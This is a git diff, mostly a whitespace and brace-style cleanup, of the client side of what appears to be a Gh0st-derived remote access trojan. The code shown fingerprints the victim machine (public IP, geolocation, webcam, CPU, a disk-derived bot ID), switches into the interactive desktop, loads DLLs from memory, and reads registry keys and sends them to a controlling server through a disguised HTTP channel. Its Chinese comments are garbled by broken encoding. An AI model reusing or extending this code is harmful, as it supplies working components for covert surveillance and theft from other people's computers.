StringToVector(str, '-', 3); + str = list[1].empty() ? "Unknown" : list[1]; + } + LoginInfor.AddReserved(str.c_str()); // ȨϢ + bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 || + strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0; + const char* id = isDefault ? masterHash.c_str() : conn.szFlag; + memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16)); + std::string loc = cfg.GetStr("settings", "location", ""); + std::string pubIP = cfg.GetStr("settings", "public_ip", ""); + auto ip_time = cfg.GetInt("settings", "ip_time"); + bool timeout = ip_time <= 0 || (time(0) - ip_time > 7 * 86400); + IPConverter cvt; + if (loc.empty() || pubIP.empty() || timeout) { + pubIP = cvt.getPublicIP(); + loc = cvt.GetGeoLocation(pubIP); + cfg.SetStr("settings", "location", loc); + cfg.SetStr("settings", "public_ip", pubIP); + cfg.SetInt("settings", "ip_time", time(0)); + } + LoginInfor.AddReserved(loc.c_str()); + LoginInfor.AddReserved(pubIP.c_str()); + LoginInfor.AddReserved(GetCurrentExeVersion().c_str()); - return LoginInfor; + return LoginInfor; } DWORD CPUClockMHz() { - HKEY hKey; - DWORD dwCPUMHz; - DWORD dwReturn = sizeof(DWORD); - DWORD dwType = REG_DWORD; - RegOpenKey(HKEY_LOCAL_MACHINE, - "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey); - RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMHz, &dwReturn); - RegCloseKey(hKey); - return dwCPUMHz; + HKEY hKey; + DWORD dwCPUMHz; + DWORD dwReturn = sizeof(DWORD); + DWORD dwType = REG_DWORD; + RegOpenKey(HKEY_LOCAL_MACHINE, + "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey); + RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMHz, &dwReturn); + RegCloseKey(hKey); + return dwCPUMHz; } BOOL WebCamIsExist() { - BOOL bOk = FALSE; + BOOL bOk = FALSE; - char szDeviceName[100], szVer[50]; - for (int i = 0; i < 10 && !bOk; ++i) - { - bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName), - //ϵͳAPI - szVer, sizeof(szVer)); - } - return bOk; + char szDeviceName[100], szVer[50]; + for (int i = 0; i < 10 && !bOk; ++i) { + bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName), + //ϵͳAPI + szVer, sizeof(szVer)); + } + return bOk; } diff --git a/client/Manager.cpp b/client/Manager.cpp index 59bbdb7..e190ee7 100644 --- a/client/Manager.cpp +++ b/client/Manager.cpp @@ -8,107 +8,106 @@ #include typedef struct { - unsigned(__stdcall* start_address)(void*); - void* arglist; - bool bInteractive; // Ƿֽ֧ - HANDLE hEventTransferArg; + unsigned(__stdcall* start_address)(void*); + void* arglist; + bool bInteractive; // Ƿֽ֧ + HANDLE hEventTransferArg; } THREAD_ARGLIST, * LPTHREAD_ARGLIST; HDESK SelectDesktop(TCHAR* name); unsigned int __stdcall ThreadLoader(LPVOID param) { - unsigned int nRet = 0; - try { - THREAD_ARGLIST arg; - memcpy(&arg, param, sizeof(arg)); - SetEvent(arg.hEventTransferArg); - // ׿潻 - if (arg.bInteractive) - SelectDesktop(NULL); + unsigned int nRet = 0; + try { + THREAD_ARGLIST arg; + memcpy(&arg, param, sizeof(arg)); + SetEvent(arg.hEventTransferArg); + // ׿潻 + if (arg.bInteractive) + SelectDesktop(NULL); - nRet = arg.start_address(arg.arglist); - } - catch (...) { - }; - return nRet; + nRet = arg.start_address(arg.arglist); + } catch (...) { + }; + return nRet; } HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD - SIZE_T dwStackSize, // initial stack size - LPTHREAD_START_ROUTINE lpStartAddress, // thread function - LPVOID lpParameter, // thread argument - DWORD dwCreationFlags, // creation option - LPDWORD lpThreadId, bool bInteractive) + SIZE_T dwStackSize, // initial stack size + LPTHREAD_START_ROUTINE lpStartAddress, // thread function + LPVOID lpParameter, // thread argument + DWORD dwCreationFlags, // creation option + LPDWORD lpThreadId, bool bInteractive) { - HANDLE hThread = INVALID_HANDLE_VALUE; - THREAD_ARGLIST arg; - arg.start_address = (unsigned(__stdcall*)(void*))lpStartAddress; - arg.arglist = (void*)lpParameter; - arg.bInteractive = bInteractive; - arg.hEventTransferArg = CreateEvent(NULL, false, false, NULL); - hThread = (HANDLE)_beginthreadex((void*)lpThreadAttributes, dwStackSize, ThreadLoader, &arg, dwCreationFlags, (unsigned*)lpThreadId); - WaitForSingleObject(arg.hEventTransferArg, INFINITE); - CloseHandle(arg.hEventTransferArg); + HANDLE hThread = INVALID_HANDLE_VALUE; + THREAD_ARGLIST arg; + arg.start_address = (unsigned(__stdcall*)(void*))lpStartAddress; + arg.arglist = (void*)lpParameter; + arg.bInteractive = bInteractive; + arg.hEventTransferArg = CreateEvent(NULL, false, false, NULL); + hThread = (HANDLE)_beginthreadex((void*)lpThreadAttributes, dwStackSize, ThreadLoader, &arg, dwCreationFlags, (unsigned*)lpThreadId); + WaitForSingleObject(arg.hEventTransferArg, INFINITE); + CloseHandle(arg.hEventTransferArg); - return hThread; + return hThread; } ULONG PseudoRand(ULONG* seed) { - return (*seed = 1352459 * (*seed) + 2529004207); + return (*seed = 1352459 * (*seed) + 2529004207); } std::string GetBotId() { #define _T(p) p - TCHAR botId[35] = { 0 }; - TCHAR windowsDirectory[MAX_PATH] = {}; - TCHAR volumeName[8] = { 0 }; - DWORD seed = 0; + TCHAR botId[35] = { 0 }; + TCHAR windowsDirectory[MAX_PATH] = {}; + TCHAR volumeName[8] = { 0 }; + DWORD seed = 0; - if (GetWindowsDirectory(windowsDirectory, sizeof(windowsDirectory))) - windowsDirectory[0] = _T('C'); + if (GetWindowsDirectory(windowsDirectory, sizeof(windowsDirectory))) + windowsDirectory[0] = _T('C'); - volumeName[0] = windowsDirectory[0]; - volumeName[1] = _T(':'); - volumeName[2] = _T('\\'); - volumeName[3] = _T('\0'); + volumeName[0] = windowsDirectory[0]; + volumeName[1] = _T(':'); + volumeName[2] = _T('\\'); + volumeName[3] = _T('\0'); - GetVolumeInformation(volumeName, NULL, 0, &seed, 0, NULL, NULL, 0); + GetVolumeInformation(volumeName, NULL, 0, &seed, 0, NULL, NULL, 0); - GUID guid = {}; - guid.Data1 = PseudoRand(&seed); + GUID guid = {}; + guid.Data1 = PseudoRand(&seed); - guid.Data2 = (USHORT)PseudoRand(&seed); - guid.Data3 = (USHORT)PseudoRand(&seed); - for (int i = 0; i < 8; i++) - guid.Data4[i] = (UCHAR)PseudoRand(&seed); - wsprintf(botId, _T("%08lX%04lX%lu"), guid.Data1, guid.Data3, *(ULONG*)&guid.Data4[2]); - return botId; + guid.Data2 = (USHORT)PseudoRand(&seed); + guid.Data3 = (USHORT)PseudoRand(&seed); + for (int i = 0; i < 8; i++) + guid.Data4[i] = (UCHAR)PseudoRand(&seed); + wsprintf(botId, _T("%08lX%04lX%lu"), guid.Data1, guid.Data3, *(ULONG*)&guid.Data4[2]); + return botId; #undef _T(p) } BOOL SelectHDESK(HDESK new_desktop) { - HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId()); + HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId()); - DWORD dummy; - char new_name[256]; + DWORD dummy; + char new_name[256]; - if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) { - return FALSE; - } + if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) { + return FALSE; + } - // Switch the desktop - if (!SetThreadDesktop(new_desktop)) { - return FALSE; - } + // Switch the desktop + if (!SetThreadDesktop(new_desktop)) { + return FALSE; + } - // Switched successfully - destroy the old desktop - CloseDesktop(old_desktop); + // Switched successfully - destroy the old desktop + CloseDesktop(old_desktop); - return TRUE; + return TRUE; } // - SelectDesktop(char *) @@ -117,39 +116,38 @@ BOOL SelectHDESK(HDESK new_desktop) // Calling with a NULL name will place the thread in the current input desktop. HDESK SelectDesktop(TCHAR* name) { - HDESK desktop = NULL; + HDESK desktop = NULL; - if (name != NULL) { - // Attempt to open the named desktop - desktop = OpenDesktop(name, 0, FALSE, - DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | - DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | - DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS | - DESKTOP_SWITCHDESKTOP | GENERIC_WRITE); - } - else { - // No, so open the input desktop - desktop = OpenInputDesktop(0, FALSE, - DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | - DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | - DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS | - DESKTOP_SWITCHDESKTOP | GENERIC_WRITE); - } + if (name != NULL) { + // Attempt to open the named desktop + desktop = OpenDesktop(name, 0, FALSE, + DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | + DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | + DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS | + DESKTOP_SWITCHDESKTOP | GENERIC_WRITE); + } else { + // No, so open the input desktop + desktop = OpenInputDesktop(0, FALSE, + DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | + DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | + DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS | + DESKTOP_SWITCHDESKTOP | GENERIC_WRITE); + } - // Did we succeed? - if (desktop == NULL) { - return NULL; - } + // Did we succeed? + if (desktop == NULL) { + return NULL; + } - // Switch to the new desktop - if (!SelectHDESK(desktop)) { - // Failed to enter the new desktop, so free it! - CloseDesktop(desktop); - return NULL; - } + // Switch to the new desktop + if (!SelectHDESK(desktop)) { + // Failed to enter the new desktop, so free it! + CloseDesktop(desktop); + return NULL; + } - // We successfully switched desktops! - return desktop; + // We successfully switched desktops! + return desktop; } ////////////////////////////////////////////////////////////////////// @@ -158,43 +156,41 @@ HDESK SelectDesktop(TCHAR* name) CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState()) { - m_bReady = TRUE; - m_ClientObject = ClientObject; - m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess); + m_bReady = TRUE; + m_ClientObject = ClientObject; + m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess); - m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL); + m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL); } CManager::~CManager() { - if (m_hEventDlgOpen!=NULL) - { - CloseHandle(m_hEventDlgOpen); - m_hEventDlgOpen = NULL; - } + if (m_hEventDlgOpen!=NULL) { + CloseHandle(m_hEventDlgOpen); + m_hEventDlgOpen = NULL; + } } int CManager::Send(LPBYTE lpData, UINT nSize) { - int nRet = 0; - try - { - nRet = m_ClientObject->Send2Server((char*)lpData, nSize); - }catch(...){ - Mprintf("[ERROR] CManager::Send catch an error \n"); - }; - return nRet; + int nRet = 0; + try { + nRet = m_ClientObject->Send2Server((char*)lpData, nSize); + } catch(...) { + Mprintf("[ERROR] CManager::Send catch an error \n"); + }; + return nRet; } VOID CManager::WaitForDialogOpen() { - WaitForSingleObject(m_hEventDlgOpen, 8000); - //Sleep,ΪԶ̴ڴInitDialogзCOMMAND_NEXTʾҪһʱ - Sleep(150); + WaitForSingleObject(m_hEventDlgOpen, 8000); + //Sleep,ΪԶ̴ڴInitDialogзCOMMAND_NEXTʾҪһʱ + Sleep(150); } VOID CManager::NotifyDialogIsOpen() { - SetEvent(m_hEventDlgOpen); + SetEvent(m_hEventDlgOpen); } diff --git a/client/Manager.h b/client/Manager.h index 17ffc3a..bb23b11 100644 --- a/client/Manager.h +++ b/client/Manager.h @@ -24,38 +24,44 @@ typedef IOCPClient CClientSocket; typedef IOCPClient ISocketBase; HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD - SIZE_T dwStackSize, // initial stack size - LPTHREAD_START_ROUTINE lpStartAddress, // thread function - LPVOID lpParameter, // thread argument - DWORD dwCreationFlags, // creation option - LPDWORD lpThreadId, bool bInteractive = false); + SIZE_T dwStackSize, // initial stack size + LPTHREAD_START_ROUTINE lpStartAddress, // thread function + LPVOID lpParameter, // thread argument + DWORD dwCreationFlags, // creation option + LPDWORD lpThreadId, bool bInteractive = false); -class CManager : public IOCPManager +class CManager : public IOCPManager { public: - const State&g_bExit; // 1-ض˳ 2-ض˳ - BOOL m_bReady; - CManager(IOCPClient* ClientObject); - virtual ~CManager(); + const State&g_bExit; // 1-ض˳ 2-ض˳ + BOOL m_bReady; + CManager(IOCPClient* ClientObject); + virtual ~CManager(); - virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength){} - IOCPClient* m_ClientObject; - HANDLE m_hEventDlgOpen; - VOID WaitForDialogOpen(); - VOID NotifyDialogIsOpen(); + virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) {} + IOCPClient* m_ClientObject; + HANDLE m_hEventDlgOpen; + VOID WaitForDialogOpen(); + VOID NotifyDialogIsOpen(); - BOOL IsConnected() const { - return m_ClientObject->IsConnected(); - } - BOOL Reconnect() { - return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE; - } - virtual void Notify() { } - int Send(LPBYTE lpData, UINT nSize); - int SendData(LPBYTE lpData, UINT nSize) { - return Send(lpData, nSize); - } - virtual void SetReady(BOOL ready = true) { m_bReady = ready; } + BOOL IsConnected() const + { + return m_ClientObject->IsConnected(); + } + BOOL Reconnect() + { + return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE; + } + virtual void Notify() { } + int Send(LPBYTE lpData, UINT nSize); + int SendData(LPBYTE lpData, UINT nSize) + { + return Send(lpData, nSize); + } + virtual void SetReady(BOOL ready = true) + { + m_bReady = ready; + } }; #endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_) diff --git a/client/MemoryModule.c b/client/MemoryModule.c index ea6cd7e..b43ad65 100644 --- a/client/MemoryModule.c +++ b/client/MemoryModule.c @@ -41,7 +41,7 @@ #if _MSC_VER // Disable warning about data -> function pointer conversion #pragma warning(disable:4055) - // C4244: conversion from 'uintptr_t' to 'DWORD', possible loss of data. +// C4244: conversion from 'uintptr_t' to 'DWORD', possible loss of data. #pragma warning(error: 4244) // C4267: conversion from 'size_t' to 'int', possible loss of data. #pragma warning(error: 4267) @@ -110,22 +110,26 @@ typedef struct { #define GET_HEADER_DICTIONARY(module, idx) &(module)->headers->OptionalHeader.DataDirectory[idx] static inline uintptr_t -AlignValueDown(uintptr_t value, uintptr_t alignment) { +AlignValueDown(uintptr_t value, uintptr_t alignment) +{ return value & ~(alignment - 1); } static inline LPVOID -AlignAddressDown(LPVOID address, uintptr_t alignment) { +AlignAddressDown(LPVOID address, uintptr_t alignment) +{ return (LPVOID) AlignValueDown((uintptr_t) address, alignment); } static inline size_t -AlignValueUp(size_t value, size_t alignment) { +AlignValueUp(size_t value, size_t alignment) +{ return (value + alignment - 1) & ~(alignment - 1); } static inline void* -OffsetPointer(void* data, ptrdiff_t offset) { +OffsetPointer(void* data, ptrdiff_t offset) +{ return (void*) ((uintptr_t) data + offset); } @@ -138,7 +142,7 @@ OutputLastError(const char *msg) LPVOID tmp; char *tmpmsg; FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, - NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&tmp, 0, NULL); + NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&tmp, 0, NULL); tmpmsg = (char *)LocalAlloc(LPTR, strlen(msg) + strlen(tmp) + 3); sprintf(tmpmsg, "%s: %s", msg, tmp); OutputDebugString(tmpmsg); @@ -163,7 +167,8 @@ FreePointerList(POINTER_LIST *head, CustomFreeFunc freeMemory, void *userdata) #endif static BOOL -CheckSize(size_t size, size_t expected) { +CheckSize(size_t size, size_t expected) +{ if (size < expected) { SetLastError(ERROR_INVALID_DATA); return FALSE; @@ -186,10 +191,10 @@ CopySections(const unsigned char *data, size_t size, PIMAGE_NT_HEADERS old_heade section_size = old_headers->OptionalHeader.SectionAlignment; if (section_size > 0) { dest = (unsigned char *)module->alloc(codeBase + section->VirtualAddress, - section_size, - MEM_COMMIT, - PAGE_READWRITE, - module->userdata); + section_size, + MEM_COMMIT, + PAGE_READWRITE, + module->userdata); if (dest == NULL) { return FALSE; } @@ -213,10 +218,10 @@ CopySections(const unsigned char *data, size_t size, PIMAGE_NT_HEADERS old_heade // commit memory block and copy data from dll dest = (unsigned char *)module->alloc(codeBase + section->VirtualAddress, - section->SizeOfRawData, - MEM_COMMIT, - PAGE_READWRITE, - module->userdata); + section->SizeOfRawData, + MEM_COMMIT, + PAGE_READWRITE, + module->userdata); if (dest == NULL) { return FALSE; } @@ -247,7 +252,8 @@ static int ProtectionFlags[2][2][2] = { }; static SIZE_T -GetRealSectionSize(PMEMORYMODULE module, PIMAGE_SECTION_HEADER section) { +GetRealSectionSize(PMEMORYMODULE module, PIMAGE_SECTION_HEADER section) +{ DWORD size = section->SizeOfRawData; if (size == 0) { if (section->Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA) { @@ -260,7 +266,8 @@ GetRealSectionSize(PMEMORYMODULE module, PIMAGE_SECTION_HEADER section) { } static BOOL -FinalizeSection(PMEMORYMODULE module, PSECTIONFINALIZEDATA sectionData) { +FinalizeSection(PMEMORYMODULE module, PSECTIONFINALIZEDATA sectionData) +{ DWORD protect, oldProtect; BOOL executable; BOOL readable; @@ -400,27 +407,25 @@ PerformBaseRelocation(PMEMORYMODULE module, ptrdiff_t delta) // the lower 12 bits define the offset int offset = *relInfo & 0xfff; - switch (type) - { + switch (type) { case IMAGE_REL_BASED_ABSOLUTE: // skip relocation break; case IMAGE_REL_BASED_HIGHLOW: // change complete 32 bit address - { - DWORD *patchAddrHL = (DWORD *) (dest + offset); - *patchAddrHL += (DWORD) delta; - } - break; + { + DWORD *patchAddrHL = (DWORD *) (dest + offset); + *patchAddrHL += (DWORD) delta; + } + break; #ifdef _WIN64 - case IMAGE_REL_BASED_DIR64: - { - ULONGLONG *patchAddr64 = (ULONGLONG *) (dest + offset); - *patchAddr64 += (ULONGLONG) delta; - } - break; + case IMAGE_REL_BASED_DIR64: { + ULONGLONG *patchAddr64 = (ULONGLONG *) (dest + offset); + *patchAddr64 += (ULONGLONG) delta; + } + break; #endif default: @@ -502,14 +507,14 @@ BuildImportTable(PMEMORYMODULE module) LPVOID MemoryDefaultAlloc(LPVOID address, SIZE_T size, DWORD allocationType, DWORD protect, void* userdata) { - UNREFERENCED_PARAMETER(userdata); - return VirtualAlloc(address, size, allocationType, protect); + UNREFERENCED_PARAMETER(userdata); + return VirtualAlloc(address, size, allocationType, protect); } BOOL MemoryDefaultFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType, void* userdata) { - UNREFERENCED_PARAMETER(userdata); - return VirtualFree(lpAddress, dwSize, dwFreeType); + UNREFERENCED_PARAMETER(userdata); + return VirtualFree(lpAddress, dwSize, dwFreeType); } HCUSTOMMODULE MemoryDefaultLoadLibrary(LPCSTR filename, void *userdata) @@ -542,12 +547,12 @@ HMEMORYMODULE MemoryLoadLibrary(const void *data, size_t size) } HMEMORYMODULE MemoryLoadLibraryEx(const void *data, size_t size, - CustomAllocFunc allocMemory, - CustomFreeFunc freeMemory, - CustomLoadLibraryFunc loadLibrary, - CustomGetProcAddressFunc getProcAddress, - CustomFreeLibraryFunc freeLibrary, - void *userdata) + CustomAllocFunc allocMemory, + CustomFreeFunc freeMemory, + CustomLoadLibraryFunc loadLibrary, + CustomGetProcAddressFunc getProcAddress, + CustomFreeLibraryFunc freeLibrary, + void *userdata) { PMEMORYMODULE result = NULL; PIMAGE_DOS_HEADER dos_header; @@ -620,18 +625,18 @@ HMEMORYMODULE MemoryLoadLibraryEx(const void *data, size_t size, // XXX: is it correct to commit the complete memory region at once? // calling DllEntry raises an exception if we don't... code = (unsigned char *)allocMemory((LPVOID)(old_header->OptionalHeader.ImageBase), - alignedImageSize, - MEM_RESERVE | MEM_COMMIT, - PAGE_READWRITE, - userdata); + alignedImageSize, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE, + userdata); if (code == NULL) { // try to allocate memory at arbitrary position code = (unsigned char *)allocMemory(NULL, - alignedImageSize, - MEM_RESERVE | MEM_COMMIT, - PAGE_READWRITE, - userdata); + alignedImageSize, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE, + userdata); if (code == NULL) { SetLastError(ERROR_OUTOFMEMORY); return NULL; @@ -654,10 +659,10 @@ HMEMORYMODULE MemoryLoadLibraryEx(const void *data, size_t size, blockedMemory = node; code = (unsigned char *)allocMemory(NULL, - alignedImageSize, - MEM_RESERVE | MEM_COMMIT, - PAGE_READWRITE, - userdata); + alignedImageSize, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE, + userdata); if (code == NULL) { FreePointerList(blockedMemory, freeMemory, userdata); SetLastError(ERROR_OUTOFMEMORY); @@ -695,10 +700,10 @@ HMEMORYMODULE MemoryLoadLibraryEx(const void *data, size_t size, // commit memory for headers headers = (unsigned char *)allocMemory(code, - old_header->OptionalHeader.SizeOfHeaders, - MEM_COMMIT, - PAGE_READWRITE, - userdata); + old_header->OptionalHeader.SizeOfHeaders, + MEM_COMMIT, + PAGE_READWRITE, + userdata); // copy PE header to code memcpy(headers, dos_header, old_header->OptionalHeader.SizeOfHeaders); @@ -826,8 +831,8 @@ FARPROC MemoryGetProcAddress(HMEMORYMODULE mod, LPCSTR name) entry->idx = *ordinal; } qsort(module->nameExportsTable, - exports->NumberOfNames, - sizeof(struct ExportNameEntry), _compare); + exports->NumberOfNames, + sizeof(struct ExportNameEntry), _compare); } // search function name in list of exported names with binary search @@ -1173,7 +1178,8 @@ static const uintptr_t AlignValueUpTests[][3] = { {0, 0, 0}, }; -BOOL MemoryModuleTestsuite() { +BOOL MemoryModuleTestsuite() +{ BOOL success = TRUE; size_t idx; for (idx = 0; AlignValueDownTests[idx][0]; ++idx) { @@ -1181,7 +1187,7 @@ BOOL MemoryModuleTestsuite() { uintptr_t value = AlignValueDown(tests[0], tests[1]); if (value != tests[2]) { Mprintf("AlignValueDown failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n", - tests[0], tests[1], tests[2], value); + tests[0], tests[1], tests[2], value); success = FALSE; } } @@ -1190,7 +1196,7 @@ BOOL MemoryModuleTestsuite() { uintptr_t value = AlignValueUp(tests[0], tests[1]); if (value != tests[2]) { Mprintf("AlignValueUp failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n", - tests[0], tests[1], tests[2], value); + tests[0], tests[1], tests[2], value); success = FALSE; } } diff --git a/client/MemoryModule.h b/client/MemoryModule.h index a728f6b..d6fc142 100644 --- a/client/MemoryModule.h +++ b/client/MemoryModule.h @@ -60,12 +60,12 @@ HMEMORYMODULE MemoryLoadLibrary(const void *, size_t); * Dependencies will be resolved using passed callback methods. */ HMEMORYMODULE MemoryLoadLibraryEx(const void *, size_t, - CustomAllocFunc, - CustomFreeFunc, - CustomLoadLibraryFunc, - CustomGetProcAddressFunc, - CustomFreeLibraryFunc, - void *); + CustomAllocFunc, + CustomFreeFunc, + CustomLoadLibraryFunc, + CustomGetProcAddressFunc, + CustomFreeLibraryFunc, + void *); /** * Get address of exported method. Supports loading both by name and by diff --git a/client/RegisterManager.cpp b/client/RegisterManager.cpp index 93b2def..0f30c83 100644 --- a/client/RegisterManager.cpp +++ b/client/RegisterManager.cpp @@ -12,51 +12,47 @@ CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject) { - BYTE bToken=TOKEN_REGEDIT; - HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); - m_ClientObject->Send2Server((char*)&bToken, 1, &mask); + BYTE bToken=TOKEN_REGEDIT; + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + m_ClientObject->Send2Server((char*)&bToken, 1, &mask); } CRegisterManager::~CRegisterManager() { - Mprintf("CRegisterManager \n"); + Mprintf("CRegisterManager \n"); } VOID CRegisterManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { - switch (szBuffer[0]) - { - case COMMAND_REG_FIND: // - if(ulLength>3){ - Find(szBuffer[1],(char*)(szBuffer+2)); - }else{ - Find(szBuffer[1],NULL); //Root - } - break; - default: - break; - } + switch (szBuffer[0]) { + case COMMAND_REG_FIND: // + if(ulLength>3) { + Find(szBuffer[1],(char*)(szBuffer+2)); + } else { + Find(szBuffer[1],NULL); //Root + } + break; + default: + break; + } } VOID CRegisterManager::Find(char bToken, char *szPath) { - RegisterOperation Opt(bToken); - if(szPath!=NULL) - { - Opt.SetPath(szPath); - } - char *szBuffer= Opt.FindPath(); - if(szBuffer!=NULL) - { - m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); - //Ŀ¼µĿ¼ - LocalFree(szBuffer); - } - szBuffer = Opt.FindKey(); - if(szBuffer!=NULL) - { - //Ŀ¼µļ - m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); - LocalFree(szBuffer); - } + RegisterOperation Opt(bToken); + if(szPath!=NULL) { + Opt.SetPath(szPath); + } + char *szBuffer= Opt.FindPath(); + if(szBuffer!=NULL) { + m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); + //Ŀ¼µĿ¼ + LocalFree(szBuffer); + } + szBuffer = Opt.FindKey(); + if(szBuffer!=NULL) { + //Ŀ¼µļ + m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); + LocalFree(szBuffer); + } } diff --git a/client/RegisterManager.h b/client/RegisterManager.h index 8784b29..7280f4a 100644 --- a/client/RegisterManager.h +++ b/client/RegisterManager.h @@ -12,13 +12,13 @@ #include "Manager.h" #include "RegisterOperation.h" -class CRegisterManager : public CManager +class CRegisterManager : public CManager { public: - CRegisterManager(IOCPClient* ClientObject, int n, void* user = nullptr); - virtual ~CRegisterManager(); - VOID OnReceive(PBYTE szBuffer, ULONG ulLength); - VOID Find(char bToken, char *szPath); + CRegisterManager(IOCPClient* ClientObject, int n, void* user = nullptr); + virtual ~CRegisterManager(); + VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + VOID Find(char bToken, char *szPath); }; #endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_) diff --git a/client/RegisterOperation.cpp b/client/RegisterOperation.cpp index 6b01a9e..0280c48 100644 --- a/client/RegisterOperation.cpp +++ b/client/RegisterOperation.cpp @@ -11,52 +11,52 @@ // Construction/Destruction ////////////////////////////////////////////////////////////////////// -enum MYKEY{ - MHKEY_CLASSES_ROOT, - MHKEY_CURRENT_USER, - MHKEY_LOCAL_MACHINE, - MHKEY_USERS, - MHKEY_CURRENT_CONFIG +enum MYKEY { + MHKEY_CLASSES_ROOT, + MHKEY_CURRENT_USER, + MHKEY_LOCAL_MACHINE, + MHKEY_USERS, + MHKEY_CURRENT_CONFIG }; -enum KEYVALUE{ - MREG_SZ, - MREG_DWORD, - MREG_BINARY, - MREG_EXPAND_SZ +enum KEYVALUE { + MREG_SZ, + MREG_DWORD, + MREG_BINARY, + MREG_EXPAND_SZ }; -struct REGMSG{ - int count; //ָ - DWORD size; //ִС - DWORD valsize; //ֵС +struct REGMSG { + int count; //ָ + DWORD size; //ִС + DWORD valsize; //ֵС }; RegisterOperation::RegisterOperation(char bToken) { - switch(bToken){ - case MHKEY_CLASSES_ROOT: - MKEY=HKEY_CLASSES_ROOT; - break; - case MHKEY_CURRENT_USER: - MKEY=HKEY_CURRENT_USER; - break; - case MHKEY_LOCAL_MACHINE: - MKEY=HKEY_LOCAL_MACHINE; - break; - case MHKEY_USERS: - MKEY=HKEY_USERS; - break; - case MHKEY_CURRENT_CONFIG: - MKEY=HKEY_CURRENT_CONFIG; - break; - default: - MKEY=HKEY_LOCAL_MACHINE; - break; - } + switch(bToken) { + case MHKEY_CLASSES_ROOT: + MKEY=HKEY_CLASSES_ROOT; + break; + case MHKEY_CURRENT_USER: + MKEY=HKEY_CURRENT_USER; + break; + case MHKEY_LOCAL_MACHINE: + MKEY=HKEY_LOCAL_MACHINE; + break; + case MHKEY_USERS: + MKEY=HKEY_USERS; + break; + case MHKEY_CURRENT_CONFIG: + MKEY=HKEY_CURRENT_CONFIG; + break; + default: + MKEY=HKEY_LOCAL_MACHINE; + break; + } - ZeroMemory(KeyPath,MAX_PATH); + ZeroMemory(KeyPath,MAX_PATH); } RegisterOperation::~RegisterOperation() @@ -67,140 +67,127 @@ RegisterOperation::~RegisterOperation() char* RegisterOperation::FindPath() { - char *szBuffer=NULL; - HKEY hKey; //עؾ - /*ע User kdjfjkf\kdjfkdjf\ */ - if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS)// - { - DWORD dwIndex=0,NameCount,NameMaxLen; - DWORD KeySize,KeyCount,KeyMaxLen,MaxDateLen; - //ö - if(RegQueryInfoKey(hKey,NULL,NULL,NULL,&KeyCount, //14 - &KeyMaxLen,NULL,&NameCount,&NameMaxLen,&MaxDateLen,NULL,NULL)!=ERROR_SUCCESS) - { - return NULL; - } - //һ㱣ʩ - 